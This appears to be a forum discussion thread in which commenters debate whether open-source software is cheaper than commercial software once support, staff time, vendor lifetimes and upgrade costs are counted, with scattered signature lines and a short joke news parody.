Those are the core apps found on most machines. It's the web based apps and the custom apps that are killers. For instance, we have an 8 way contract with company A to develop an application. It needs SQL Server 2000 to run. That's a lot of cost, but it's split 8 ways. Now, let's get that same app to run on Linux and access a Postgres server. Crap... WE have to foot the cost. No other software, free or otherwise, does what this app needs to do. It needs to be custom. To move out company to a linux environment would be costly. VERY costly. Training and app development would cost us way more than getting screwed by MS.
Friends's company:
MS Office/Outlook/IE
Semi-custom Access program for accounting
1 NT server, does file and print sharing
Here we go, linux would be cheaper! This company already is playing with Openoffice and Mozilla, in fact most users have MS Office just to do file conversions occasionally. They want to add a 7th workstation to their domain. They have a 5 user license, so currenly only 5 can be logged in simultaneously. The 6th rotates around, and they make it work. Their accounting app only runs on one computer, so at the very least we'd leave 1 Windows machine untouched. The rest are ready for linux. The PDC becomes a samba server, 6 of the 7 workstations are linux, the 7th just sits running Office and the accounting app as needed. There you have it, zero software cost and they're migrated to open source in a weekend.
a move to OSS can be done cheaply, or it can be done at a huge cost. Anylize YOUR SPECIFIC REQUIREMENTS, you and only you can determine whether OSS is right for your business.
There is no reasonable defense against an idiot with an agenda
:wq
There's also the costs of supporting a discontinued commercial product (mentioned in another post). Consider the recent announcement that Microsoft would be stopping all support for win 95 this year, and win/98 in 2004. That's about a 6 year lifetime for a product with probably the largest user community in software history. How much will it cost these companies to get their support now?
My guess is that future support for the proprietary products will decrease in quality over time (but for the same price) to the point where it may be necessary to replace the product with a newer one (at very large cost).
Sometimes boldness is in fashion. Sometimes only the brave will be bold.
Laugh. It's funny.
Necessity is the plea for every infringement of human freedom. It is the argument of tyrants; it is the creed of slaves.
This is simply a result of thousands of schools foolishly believing that teaching people how to use a browser, word processor and spreadsheet are computer literacy. De-evolution in action.
Democrats and Republicans only disagree about how to enslave you
Now, if you are talking about more niche projects, you have to make sure you have something real, and not something tossed together and abandoned, but you have the source so you can know that, and even fix things if necessary. Let's face facts, you are more or less on your own even with commercial products. They are not going to anylize your problems space and implement a solution (or if they do, it will cost $250/hr for custom programming). You're much more likely to actually get support from the community with an OSS project. If the niche is tiny or the product not widely used, support is going to be a problem whether it is commercial or OSS.
Google (essentially) does a single thing over and over again. unix is great for that. If I was building a chess playing computer or a FFT solver, I'd use a unix clone too, and probably a free one at that. But don't compare that to general purpose business computing.
You're going to have to back that statement up, mumbles. Can you define a group of five "general purpose business computing" applications (meaning tasks rather than products) that a non-UNIX does better than a UNIX?
The nature of distributed collaboration leads much better documentation. On many open source projects, the manual is actually a source of information. See debian's policy.html for a good example. For similar reasons, open source news groups usually have much more helpful information than vendor groups.
:-)
Most of the time googling will lead to exactly the answer you need in very little time. Sometimes, all you need to do is cut and paste the error message into groups.google.com to get an answer.
And if you want to buy support, you can still purchase it from RedHat, etc. But I heard a dirty little secret from some folks who sell support for Perl -- it doesn't really need it
~ Patrick
I'll bet that the cost is directly related to the skills of the technical staff. For exampple:
Case #1 (my company) We pay support for many products (Oracle, Sun, Weblogic) but rarely use it. Why? We get tired of debugging their product. We have a very talented staff, and by the time we finally call support, we have already done all the stuff they are going to tell us to do again (Yes support-person, it is plugged in and turned on.) We often end up doing things that are of no value, and we know it, only because the support person won't give us any help until we do it. In one instance, they actually had the nerve to ask us to install a kernel patch and reboot our production system in the middle of the day. They had no concept of testing and QA of changes. So, for us, Open Source is a godsend. We use Google to find answers to problems, and have even read code a couple of times. All for free, except for our time.
Case #2 -- Some other company This company has promoted their office manager to IS director. He doesn't know a USB from his pie-hole and has to pay out major bucks to get someone to come in and make sure his computer is plugged in and turned on. Open Source products without support contracts are too expensive for him, because not only does he waste a lot of effortand have a lot of downtime, his medical expenses will go through the roof.
Each company has to determine the true cost of support and whether or not it is worth it. We spend big bucks on software support mostly so we can get patches and upgrades, not phone support.
I rarely read replies, it's my opinion and if you thought about your opinion a little more, I'm OK with that.
but how much is your soul worth?
.Net server which contained the bank account information containing the entire $40 billion and dispersed $1 to 40 billion PayPal accounts. Since the loss of the $40 billion in late 2004 Microsoft has struggled to stay in business. GNU/Stallman exiled Mr. Gates and his company to northern Canada, forbidding Mr. Gates from ever returning to the US. According to GNU/Stallman, 'He is a menace to our free society.' From this reporter's perspective Mr. GNU/Stallman used to be referred as the same."
Soon we will rid the world of all commercial software and open source zealots will rule the land.
"In breaking news today October 2, 2010 Mr. Stallman the leader of our free but not as in beer society has decided that we will be required by law to refer to him as GNU/Stallman. For those who fail to do so will be required to attend a course on proper acronym usage and application and could be fined up $5000.
In other news Bill Gates is still trying to figure out how Microsoft could have lost $40 billion dollars. Rumor has it that a Stallmanite hacked the
A gunshot rings through the news studio as a Stallmanite assasinates the subversive news anchor for his obvious attempt to tarnish the good name of our leader GNU/Stallman.
Viva GNU/Stallman
LoRider
Why would it take 48 minutes per day every working day to maintain software?
I'm responsible for the installation of a suite of OSS applications and I barely spend any time on maintenance. Once the installation is complete and the initial configuration completed, there is almost nothing to do until a problem appears. At that point I may need to do some research. The only other maintainence might be every few months to may check for a new release.
In what way is this any different than a commercial product?
Of course, "X1" bought the "V" commercial application, then decided they wanted to have the same feature in "V" as "X" had paid to get in "Y". Company "V Inc" charges five times the original price for "V" to add that feature. So in the end, "Y" was cheaper anyway.
I have 6 people working for us right now, and another company that is providing support for a product that they didn't develop. It is easy and cheap to find people willing and quailified to give support.
Be careful not to get sucked into the level of support that commerical companies offer. They'll offer the world up front, but you'll have problems as time goes on. Don't forget the forced upgrades to the software and OS to keep the support going.
Give the commerical guys a call with a "tough" question, or a It's down and we need it up and have no clue as to what to do. See how they respond. I bet you'll be surprised (unless they know you are shopping, but even then)
Your cost differential analysis is flawed because of a base inequity. You presume that your for-pay solution will not have a percent-of-FTE-time associated.
Even when you pay for support for a product, if you don't assign someone to actively track the product you will not gain the benefit of the support you pay for.
Few if any support contracts provide that "whatever the supporting company discovers will be broadcast to the paying customers." That is, while the infomation will be "made available" to the supported entities, it will not be spoon/force-fed to same.
Consider the typical support contract. Such a contract entitles the user to certian things:
1) reasonably unrestricted access to some sort of knowledge base.
2) reasonably unrestricted access to the current patch archive.
3) telephone/email (whatever) access to someone who will help you find your way through items 1 and 2.
4) the opportunity to add bugs to the development chain.
Usually, these support contracts seem to have more value because of the phantom-element number five. (Someone to blame when the fix isn't available.)
Now a truely expensive contract that garentees *any fix whatsoever* let alone garentees to *fix your problem in (whatever) time or less* tends to run into huge dollar amounts.
So the total service rendered for a paid comercial support contract is for items 3 and phantom-5. And you only get to use these items when something is really broken. If you are not actively persuing items 1 and 2 yourself and at your own expense then you will have taken no preventative action, and an unmaintained system will likely break no matter how you acquire it.
So Decide... Are you pricing a system that will be maintained?
If so, you will have to allocate some fraction of an FTE. That cost will be similar no matter the source or positioning.
If not, then cost will be a function of frequency of breakdown.
Then, once a breakdown occurs...
Does your support contract *garantee* a fix?
If not, then the total cost expended on the support contract was paid to deflect accoutnability and allow you to contact a person who will walk you through the existing database of problems.
Remember, almost nobody who has paid Microsoft, Oracle, Sun, or IBM to "support" their applications has *ever* gotten to do more than submit a trouble ticket. Paying support doesn't reserve you a programmer who will jump to your needs like a hound to a scent. It just buys you the right to be heard and the right to hear.
Joining the mailing list (or hopefully bugzilla-style issue/ticket database) for an Open Source product is the free equivalent to 90% of what a support contract is anyway. The only thing you don't get free is access to someone who has the cookbook for pawing through the data.
You need to quantify your expectations for "service contract" before you can properly assess the cost.
Innocent people shouldn't be forced to pay for inferior software development.
--"Code Complete" Microsoft Press
Wanting to do an evaluation is a good idea, however, one can do more damage than good with a poorly done evaluation. I say this not because I know apriori which outcome is best for you, but simply for the fact that your analysis is flawed.
.... mmmm, if you were my consultant and submitted that, I would have fired you on the spot. Any monkey can add (and make up) numbers .... consultants are paid for doing some actual work like actually analyzing the details -- at least my consultants are.
All you did was add up a bunch of numbers (one of which is made up) and then decided which one was lower. Your end result can change based on how big your made up number is
In this case the details which you glaring glossed over are some projections (based on historical data) of bug counts, resolution times, platform support, release frequency and the amount of clout you have to influence bug priority. That last one is very important if this system is to become mission critical 24x7 functionality.
Furthermore, it is not enough to know that you're buying support from a software vendor, qualitative factors such as response time guarantees, escalation clauses, level of effort required to submit problem and access to knowledge bases are all very important.
Factoring in all of this information, your analysis becomes one of assessing which software vendor can be your partner for the next 10 years. The best partner for you will depend on your personality, it might be the proverbial Maytag repairman (kind of there, but then again their product is rock solid and you never need them) or it might be like Microsoft (always there, but you stop calling because they can't solve the numerous problems).
I completely disagree.
:-)
While you can look at a SourceForge based project page and see that there is no "company" backing the software, I bet if you had a problem, that one of the 9 developers listed on that same project page would be more than willing to help you out for the price of a large pizza... or even for free if the problem was small enough.
It will take a while for the PHB's to get past the "if it doesn't cost $5000, then it must be crap" mentality, but it *will* happen. Most likely because if you look around you, some of the people you see that are hip deep in the community of free and open source software developers are the next generation of PHBs!
"To make a mistake is only human; to persist in a mistake is idiotic." Cicero
RTFM. Mods are picked from the middle of the pack. Periodic posts, average karma; not the -1 trolls and not the +49 folks.
A full search engine setup should need almost no administration after the initial breakin period. Why? The basic functions of the engine should never change!
Search engines crawls pages, indexes them, provides an interface for searching, and returns search results for browsing. Ten years from now, it'll still do the same thing.
To me that begs the question - why on earth would anyone pay for 24x7 support for a search engine? In case the engine goes down? That's an unlikely event given the stability of open source software and proper hardware. But say it _did_ go down - reboot the machine. Done. What if the hard drive crashes? Restore it - that's what IT is for. Need an expert? Pay for one on an hourly basis ($200/hour should attract someone quick - that's still cheaper than 24x7 support that will rarely be used).
Propriety software is not usually supported too far out from when it is released. Propriety software companies want you to upgrade every year or two or they'll pull support and you'll be on your own. So you have to upgrade your search engine say once a year and pay for someone to do it. Plus, it might break some other software or require you to upgrade to the latest version of Windows, etc... which also must be figured in.
Anyway, this story is chock full of holes. Many more questions could be asked for which no answers have been given. For example, what about the number of pages indexed? Most search companies charge you based on the # of pages you want indexed. Go above that and you'll need the costly enterprise version.
I find it very hard to believe that a proprietary software solution would be cheaper than open source.
Does that mean CDN $500.00/hr?
Where do I sign up?
Actually, that's better than most of the business model satires I see here:
- Offer support contracts for OSS
- ...
- Profit
Something I'll discuss this w/eEven Steve Ballmer says that Microsoft can't compete with the total cost of ownership of Linux.
n ews.asp?ArticleID=36355
From http://www.varbusiness.com/sections/News/breaking
"One issue we have now, a unique competitor, is Linux. We haven't figured out how to be lower priced than Linux. For us as a company, we're going through a whole new world of thinking."
If Microsoft can't undercut the cost of Free Software, how in the world would anybody else be able to? It seems to me like somebody bought the FUD campaign.
Be sure to factor in any additional costs of using a proprietary package. For example, you don't want this one package to hold you back from switching to Linux on all desktops and servers, assuming all other needs are met. Any OS / server license costs that wouldn't be needed with the Open Source solution must be included in the cost of the proprietary one.
That being said, why not contract a brilliant but currently unemployed geek (lots of them out there these days!) to help you deploy the Open Source solution. Have them make any customizations or improvements needed to make the Open Source solution fit your organization like a glove. Perhaps they can even help with the training or at least preparing training manuals for the staff. And if needed, keep them on retainer to provide support services in the future. As long as you're not paying this person more than you'd spend on proprietary licenses, you're budget is still in the black and you're getting a superior solution with no obnoxious vendor ties.
A number of posts here have attacked the 10% of an FTE figure I used. These posts basically break down into "4 hours a week just to read a mailing list, that is so ridiculous!" and the more informed "You would still have to patch and update a commercial product, what about that?"
To the first I answer that it isn't 4 hours a week to read a mailing list. It also includes time to come up to speed with the product, with the tools the product uses (like 'make' and GCC which are not used in the shop) and with the programming language the product is written in (also not used in the shop).
These are not one-time costs because, as I pointed out, they do have employee turnover and it is usually the 'best and brightest' -- who would likely be the ones doing doing the support. So any one year it might be 25% of an FTE or 5%. Also I figured most of this effort was just so they could ask the right questions on the mailing list and not get a 'RTFM' in response. Sure I just took a SWAG and used 10%, but it was a figure my customers felt comfortable with.
Remember, I am a consultant. I assist my customers in making descisions, I don't make the descisions for them. If they prefer to err on the high side of something they are not sure about they are in the right to do so.
As to administration costs, sure they exist in commercial products. And I had a separate line item for that! The problem is that, even when I set the admin costs the same for both, the long-run effects of the support costs proved surprisingly high.
Note that making them the same may not have been entirely honest because the Open Source product would likely have had higher admin costs than a more 'polished' vendor supported product.
Jack William Bell
- -
Are you an SF Fan? Are you a Tru-Fan?
Sorry buddy, Mac OS 9.2 /is/ supported, along with all versions of OS X (except Beta, which was never supported).
Your point is still somewhat valid. Though if you can buy a 10 year contract for the product, it will be supported for the length of the contract.
The best suggestion I have seen is to bid for a contract on the tech mailing list. I have seen it done with very good results.
Lies about crimes
What apps can't you get support for? They're probably minor ones.
For all of the major apps, you can purchase support at competitive prices, which is much better than the built-in monopoly support you get when you buy proprietary software.
If you don't have support for a particular piece of software with which you need help, you can hire a guro at competitive prices. Again, cheaper than the monopolistic support you get with proprietary products.
You are charged for support for proprietary products. Its either built into the cost of the software, or you pay extra for it and its built into the cost of the software. The money it takes to hire techs doesn't come out of thin air. Either you're paying for it somehow, or the company is subsidizing it with another revenue source. I.e., a software company subsiziding support for a minor product from revenues from a major killer app. Either way, you're paying. And you're paying in what is effectively a monopolistic market, since no one other than the company can provide adequate support for products, as you need the source code and familiarity with it to offer acceptable support.
With OSS and FS software, you get support at competitive rates, not monopolistic rates. Overall, its cheaper. You're also likely to get better support, as these guys aren't bound by idiotic "return to the default before you proceed" mandates. Have you ever called up MS for support on Windows? Here's how it goes:
"Oh, you're having problems with X...what did you install last? Ok, uninstall it. Still doesn't work, ok, do A, B, C, D, E, F, G. Still doesn't work? Well, our agreement states that that's all I can do for you. The only thing I can do for you now is have you uninstall the entire program and reinstall it. You'll have to download updates over again. Oh, you reinstalled it and it still doesn't work? Well, I'm not authorized to help you any further. The only thing I can do is guide you through reinstalling your operating system, since there must be somthing wrong with it."
This is the kind of crap support you get from proprietary vendors. Whenever I've called up a proprietary software vendor or an OEM for support, I've never gotten anything that I didn't already know...they just read from instruction books. If, on the other hand, you pay for support in a compeitive market, you get it firstly at a better price. Secondly, you also get better support, as no one could get away with doing that crap. In other words, you get a real software problem solver (guru), not someone who flunked out of Computer Science and is now doing a job which is the computational equivalent of "do you want fries with that?"
Also, when considering the cost of proprietary software, you should also consider the costs of intellectual property problems, and dealing with the BSA. If the BSA even accuses you of something, you're going to lose millions trying to defend against that accusation. It'll cost you alot of money to try to be compliant with BSA standards. And it'll cost you many millions more if you have to reach an agreement with the BSA for compensation because you misplaced some paperwork.
social sciences can never use experience to verify their statemen
Yes, it's more expensive to support a custom application rather than one that is generic in function...
A lot of small companies run system administration support... If you need continuing support contact one of them... For instance my company will do it for a modest monthly maintenance fee and bill for the actually hours worked.
But you'll still be paying around 4000 a year, maybe 1800 if you have no problems during the year.
It's better to go to someone that specializes in exaclty the type of product you need usually.
Personally, the only reason I avoid proprietary software is licensing issues... Far better to buy the best product and service. Not use open-source unless it fits the need.
Anyway, that being that... You should check out google's search engine... It's a 1U unit you throw on a network and it does pretty much everything necessary... Support costs should be low since that's their main business.
IE, proprietary, but the company is ethical... Contrary to other search engines that require payment for links..
If you still want to go with an open source project feel free to give my company a call and we'll see what we can do for you... But remember that open source isn't always the best solution.
/* TODO: Spawn child process, interest child in technology, have child write a new sig */
Maintenance is a support contract. You don't have to pay it if you don't want support. You can just by Shake, all by itself, for a one-time fee. You get a permanent license for it when you do.
I write in my journal
I think you just inadvertently pointed out the key. SourceForge. Or, more generally, an active OS support community. If our valiant government consultant picks an open source package from J. Random Basement Boob, he may very well end up screwing himself.
From my reading of his explanation, he seemed intent on getting commercial support for the software, open source or not. I admit it's valid to want to pay for some assurance that if the software breaks, someone will be on hand to at least try to fix the problem. The OS movement doesn't seem to address this as much as it could; a lot of legit software mechanics could offer their services here.
The OS idea puts more stress on the fact that OS software is less likely to break because of peerage. Your support isn't supposed to have to be commercial; instead, if the software breaks, it's likely already been fixed by someone else, and you need merely get a patch from the same place you got the software. Compare this with commercial software, where you likely have to submit a bug to the company, and wait for the next version to come out, which you must pay for.
It's when your problem is not fixed, that you'll ever have a non-zero cost for OS software. The idea here is to either get your on-staff programmer to fix it, in which case it's already been budgeted - and yeah, I know in this case there isn't an on-staff programmer available - or ask for help from the community, in which case you likely spend some time waiting, and maybe feeling a little out of control.
In conclusion, it seems wise when selecting OS software to look at how "live" its support community is. SourceForge, for instance, has a nice way of telling this. Meanwhile, again, it's by all means proper to want commercial support for OS software, particularly if its vital to keep it running 24/7. If it's not as vital, and you can't or won't budget for an in-staff code wrangler, I would suggest something a bit less costly than full support - something to bail you out of that rare case of having to wait for a fix to a bug no one had seen yet. Anyone seen OS software insurance yet?
Lately democracy seems to be based on the skybox, the Happy Meal box, the X-box, and the idiot box.
In the commerical software world, you cannot use the same product for 10 years. You will purchase upgrades, and you will purchase new hardware to run those upgrades if you want support. Why? Because any company that doesn't make you do that will be bankrupt in 10 years.
:)
I know a bit of oil/shipping industry (no, I didn't work in the company, but had a fairly serious project with them), and they were supporting at least two generations behind the current OS, which is WinNT (though they were also adding 2k/XP due to customer interest). And if you ask what was before NT, and before that again, you're talking ancient history. Customers expect support for the entire lifetime, and they get it. And this is a very successful company in growth, nowhere near bankrupcy...
Then again, this doesn't sound that serious, so should be replacable. But don't make too broad generalizations
Kjella
Live today, because you never know what tomorrow brings
- The escrow company folds
- The escrow company gets hacked
- The closed-source company doesn't want to put its' code in escrow
I was giving the source to my customers in 1990, because I figured it was a good move sale-wise (sure, they could get someone else to support it, since they had the source, but why not get the original developer, who KNOWS the product, to do it).Just because you give your customer the source, this doesn't mean they have the right to distribute it to other companies - just to maintain it.
I work as an IT consultant and have worked extensively on both proprietary and Open Source software solutions. I have found in most cases OSS beats proprietary on costs hands down.
I believe the original poster makes some incorrect assumptions.
1) It is simply not the case that you will get anywhere close to 10 years support from a vendor for a particular product.
Even enterprise level software vendors only support their software for a relatively short time span. Microsoft and Oracle are two examples of this. Neither of them support software for more than a few years and then expect that their customers upgrade to the latest version. Often at significant cost. Today 10 year lifespan for software is not realistic except for perhaps custom solutions. 5 years is even pushing it. This also assumes the company is still around. Vegas has better odds than that of a 10 year old IT product company making it.
After the 3 to 4 year typical window the customer will probably have tohandle all support issues themselves, or upgrade.
So while the poster assumes that costs will stay static for the commerical solution in fact they will go up over time. In addition the closed proprietary nature of the commercial solutions will often make migration that much more difficult and costly.
This speaks to one of the other major cost saving advantages to OSS, adherence to standards. Commerical software vendors will tend to make "proprietary" changes, or roll their own to lock in customers (AKA competitive advantage), or as a result of them just being too lazy to work with community.
2) Percentage of FTE and lack of additional costs to support commercial products. There seemed to be an idea that you can compare 1:1 the time to support the OSS solution to the money spent on commercial support. This is simply not realistic. You cannot assume that by paying vendor X $5000 dollars that you will not have any costs over an above this $5000 for supporting the system.
Someone at the customer still has to recognize the issue, call the vendor, wait on hold, submit their question, wait for an answer, apply the patch if one exists, or implement the work around. This all takes time which all costs money.
Not that the support process is that much different with OSS, except perhaps that the problems more often actually get fixed, rather than having to wait till service pack 12 that should address that problem, and allow you to discover the next one, which will be fixed in service pack 13. This happens all too often, and with products from major fortune 10 IT vendors with onsite support personnel. Comparable OS products simply do not have these issues for a variety of reasons too numerous to mention here.
3) I also question the 4 hours a week effort required to stay current with the OSS product. I manage multiple open source systems in addition to my consulting work and I expend less than 4 hours a month in supporting them. This includes adding new users, applying security patches, and fixes problems in the extremely rare case they occur.
Someone else posted that the advantage with open source is that you control your destiny. This is absolutely correct. You can install, support, change, upgrade and manage the system to your preference in a way that makes the most sense for your organization. Over the long run this will save you money as you can effectively plan you upgrade cycles around publicly available OSS information regarding new versions and features.
The original poster should perhaps modify their assumptions based on real world experience with OSS solutions and the actual support requirements. I think they would find that overall the costs are much less for many solutions.
A follow-up question might be a description of OSS successes and their ongoing support requirements.
Did you factor in the probability that, inside that 6-year timeframe, the vendor will stop making the product you bought, stop selling support for it and leave you with the choice of using a completely unsupported product or going through a probably disruptive and expensive upgrade process (new software requires a newer version of the OS which requires newer hardware, new software brings new bugs, "features" and interactions you now have to troubleshoot, etc.)? And if you know you want to stick with old software in that situation, do you really need an FTE for the open-source software after the first 3-4 years shake the glitches out of the system?
The proper response to RTFM would be for a group of people of who genuinely care about end-users having high quality documentation creating a new type of documentation license that mandates a minimum level of quality for modification of their documentation and bars distribution or linking to of bad documentation. For example, a license like this would ban any modification of the documentation that reduced the number of diagrams to less than three (i.e. converting the document to all-text is strictly prohibted). In addition to this, the license would bar distribution or linking to of HOW-TO's. If someone like Debian distributed all-text documents, they would be barred from linking to or distributing the high-quality documentation.
In essence, the license would be saying "We will place the RTFM'ing bastards on permanent lockout."
I call this license the "Anti User-Hostility Documentation License".
Ergonomica Auctorita Illico!
One FTE can support 250K lines of code. Based on that, you can take a guess at relative cost of outside support vs doing support in-house. Then factor in the acquisition costs. Problem is that no vendor can give you a fixed price on a 10-year support contract that's worth a pitcher of warm anything. They'll be bankrupt, out-of-business, moved to a different continent, or mentally insane by then. If you are sure you need to support an app for ten years, you gotta pay the price of owning it end-to-end. If this functionality is important to you but not worth 0.1 FTE, then it's not important to you. Don't bother me with trivia. Ask us about something important, like how the new governor is gonna outsource your butts anyway.
At least for Symantec. When you buy a retail copy of Norton AV, you get updates for a year. That's it. If you want to continue getting signature updates, you need to pay again.
Technically you're right. You will still be able to run the software itself. It just won't be any use at all, since new virii pose the threats. Not year old ones, typically.
"Politicians are interested in people. Not that this is always a virtue. Fleas are interested in dogs." P.J. O'Rourke
I agree that it is unreasonable to expect services for free. But that does not undermine the value proposition of the GPL.
One major problem with closed-source software vendors is that they get bought or go out of business. If you are a customer then generally you are stuck with a package of binaries that cannot be supported or upgraded. If your vendor was using open-source then you would have the option to pay someone else to maintain that code.
Another problem is getting new features added. If a closed-source vendor doesn't want to add your feature then that is tough luck for you. If your product is open-source then you can pay someone else or some other company to add the feature.
Open-source products give you more options because you are not tied to a particular vendor. At this time there aren't very many open-source vendors, but it seems like there is demand for commercially supported open-source software, and demand generates supply.
Source code includes all the information about what the program will do, but not always in the best form for humans to understand. Depending on the quality of the comments it may not include any information on design or requirements. Thus you may not be able to tell the difference between bugs and features if you only have the source.
Er, well. Ok, yes, it's kinda rude, but it's also a reasonable expectation that you've read the manual and tried basic troubleshooting ("Is the monitor plugged in, Mrs. Jones?"). Remember, support contracts exist to save your ass when you've broken it and, though you've tried, you can't fix it. Not to hold your hand as you plug in the power on the disk array, replace the fibre-channel fiber patch that security cut with a pair of hedge clippers, or replace a smoking powersupply.
"To err is human, to forgive is simply not my policy." --root
Well, for one thing, the assumption is made that commercial vendors provide support willingly that is useful. I think in many cases (especially with technologies that are hard to change out of), vendors will take every opportunity they can to hang a customer out to dry. Often, the lifetime for support for software is very very shortlived, forcing upgrades. In other cases, the 'support' provided is little more than extortion. One product demanded my company pay a 300 dollar for one incident before they would even accept a bug report. Not even a request for help, but a one-way information exchange that enhances future products. In some cases (with the really high dollar packages), the software, while expensive, is little more than opening the door to huge consulting fees. One company I worked with sells software for about 750,000 dollars per site. On average, they said they pulled in more per site in consulting fees than the original purchase price of the software. This is an extreme example, but exemplifies that commercial products do not necessarily mean good support is available at reasonable costs.
A previous employer was using a commercial SMB provider for Solaris, rather than Samba. The product was licensed on a monthly fee and only allowed 3 connections on our license. This was not cheap and extremely annoying. I suggested a move to Samba to cut costs and get more functionality, and was denied. The reason given was that the package gave support. One day, a number of Windows systems could no longer connect. For the first time ever, we had a reason to contact support. I was on the phone, being passed from one person to the next, no person having any clue as to the problem. Finally, while on hold, I did a search through the samba mailing list and found out the cause of the problem and how to work around it client side. I then hung up, told management about my experience, and next week samba was in use and the licenses cancelled.
The fact is, if you have a decently strong IT department with some programming knowledge anyway, they can frequently, with the help of forums, mailing lists, and IRC, provide just as good or better support than the commercial vendors and fix problems as needed without the turnaround of commercial vendors. Maybe for smaller shops that deal with less expensive software, or with software that has rare support needs, but not a complete absence of a need, commercial can win. But for *any* software company, and medium to large other companies that need good IT anyway, open source is hard to beat..
XML is like violence. If it doesn't solve the problem, use more.
I remember seeing a recent article referenced here that says that Amazon Books attributes its newly-found semi-profitability to its decision to go Open Source.
So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.
Let's see some names here. WHO has tried and failed with Open Source software? Or did TCO and backed off. You anticipate people asking you for "point of fact" replies. Is there something immoral about asking "point of fact" questions? I don't think embarrassing either you or your employer is immoral.
If you have a problem with "point of fact" questions, why didn't you provide some facts to anticipate these questions? Is it that you don't have any facts? Ever heard of Google? If you can't provide any facts, why should we respect either you or your opinion?
You can even cite yourself as an example of Open Source failure if you like. I'm sure we'd believe you if you told us that a command line is just too hard for you. And I'd reply that perhaps if you offer IBM enough money, or a lesser sum to some of the individual training consultants around here, perhaps someone can be found with the patience to teach you Linux. It might even be cheaper for you to do this than to buy your next computer upgrade to support XP or its successor, though I can't guarantee this.
Organizations who have gone/are going Open Source? Home Depot. Burlington Coat Factory. The government of Spain. Police departments in portions of the UK, and the consultant firm rolling out those desktops and servers has just gotten a contract from the EC to write a proposal to roll out Linux for EC governments. The people running those organizations don't seem to agree with you.
With respect to support, ever heard of IBM? They do a lot of commercial Linux support.
Whether or not an organization should go with Open Source depends on circumstances very specific to that organization. Your statements about Open Source are no more useful than the ones that say everyone needs to use it.
With respect to software usability, depends on what software is available, what the software is used for and who will be using it.
However, I am comfortable in saying that Open Source is improving in usability, ease of installation, and ease of maintenance rapidly, and as it does, it will become useful to a wider range of individuals and organizations. At the same time, it is NOT increasing rapidly with respect to required workstation resources.
Can you say the same about Micro$hit?
Tech Public Policy stuff
DIY != 10 year support contract
When the commercial vendor supplies you with a quote for support, does that include access to the source code if their company folds and you get the crappy end of bankruptcy? Are they even promising to support you for 10 years? Will your change-management requirements down the road be dictated by the contract you sign with them?
You need to be VERY careful to account for ALL the hidden costs on BOTH SIDES. For examples, look for studies that compare outsourcing to in-house development. Once you discount the costs of coming up with the architectural components, you still have to pay someone to configure, install, support, and maintain the product.
If you throw in "community involvement" like hosting a CVS server, you can get significant (but unknowable) contributions toward the general maturity of the product for FREE. Represent this as a risk of not getting free development work in your cost model, and the chance of getting any work for free on the commercial product is equally possible to the free software, but it is probablistically insignificant.
The vendor is going to take profit from any savings that might be realized from reusing your solution in another governmental unit. Go looking for a way to share the support costs in others' budgets! Basically, you *give* them what you have, so long as they agree to mirror the CVS server on their own hardware, and allow you to merge changes into your tree from theirs. Eventually (in maintenance phase) you will probably want to merge both projects and just have monthly conference calls about any commits/contributed patches.
Now, are you treating your free software solution as free-as-in-beer or free-as-in-freedom? You have to understand how the commercial software vendors make money and use those techniques (wherever you can) to get savings on your own!
--- Nothing clever here: move along now...
...a recitation of the man page index is be sung to the tune of "Born Free"
come on fhqwhgads
A GS-11 is the highest (theoretically) civil servant position that does not come with a mandatory "Management" hat. When I worked for the US Governement (2 years ago), GS-11's were making right around $50K (from what I remember).
Assuming the employee in question is a government contractor, he is probably still not making $80K. From what I've been told, goverment contracts come with a max 8% profit cap which typically means that the contracting company is going to get the cheapest labor they can find. Any attempt to get "expensive" labor will probably mean losing the contract because, unfortunately, the Government likes low bidders.
However... that means that "X" is at the mercy of "V"s whims. Developer "U" could add the features to "Y" that "X" wants... in two years... four years... Or... never. Whereas developer "W" could add them within a reasonable amount of time based on the complexity of "Y". In general non-open-source companies never add the features that their clients want unless they get too much money. Much better for them to go with open-source so that they can get anyone to work on it or even hire someon in house to maintin it. Can't do that with product "V".
-"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
you get no support, no new drivers, no bugfixes, and no upgrades
Those are all ongoing services, though. They're separate and distinct from software. When you buy the software, you get just that: the software. The bits themselves, along with any documentation or whatever that applies to it. If companies are cool, they can offer bug-fixes for free, but they're not under any obligation to. New features? You should expect to pay for those.
You can't call it a temporary software license just because you have to pay for the next release.
I write in my journal
Did you not read my post? I already talked about this. The article you cited-- which came from 2000, by the way-- described what has since come to be called Licensing 6.0. It is possible for companies-- or individuals, I guess, but that doesn't make much sense-- to buy volume licenses for Microsoft products along with a commitment to buy upgrades on a periodic basis. In other words, if you choose (that's the key word) to agree to buy Office n+1, you can get a volume license for Office n for less money.
These volume license packages are options for the buyer, nothing more. You can still buy Office XP or whatever at the Comp-u-hut for the retail price and get a permanent license to use it.
I write in my journal
Sometimes going with a closed source vendor can work out great--the last company I worked for bought a proprietary library. We found that their WinNT port was very buggy, so we sent two developers down to their labs and they worked through the source code until they had a fix. Then the vendor gave us a discount because we helped them out.
Othertimes, it doesn't work out so well. Back in 1997 I worked for a company which used a third party, closed source library to decode maps. The vendor stopped supporting the libraries (in fact, I think they went out of business), and we couldn't port our software from Win16 to Win32. It was a real road block. Had we used an open source library, we could have ported the code ourselves.
Presently, I'm working for a company which is using an open source component. We have spent a lot of time debugging the component, since the author no longer supports it. I'm sure we have spent way more than we would have if we had bought a closed source component, but our OS component happens to behave in a way we need and has functionality we couldn't find in other off-the-shelf products.
The long and short of it? Going open source offers flexibility but also may cost you more in development time. The nice thing, though, is that you have access to the code and you can make changes and make ports if necessary.
See title... It depends on the situation and the tool. And you dont really know unless you buy, install, deploy, and execute both options.
In your example, the commercial support would still require capacity from your IT staff. Even if it were just for explaining what is wrong and convincing that it is their fault and not yours or somebody elses and telling them to fix it. Commercial support does not mean zero effort on your side.
Cost calculations can be done in many different ways (economics 101). Each of them is wrong, but some more than others. That is why determining the cheapest way to do things is very hard.
There are other things at stake too: what if the company folds or sunsets the product? What if the support is not what they promised? What if they blame your urgent problem on you or a third party? What if they say they can't find the solution and want to give you a refund of that steeply discounted support contract?
With open source, there are ways out for each of those situations. With closed source sometimes too, but not always and often they are very costly.
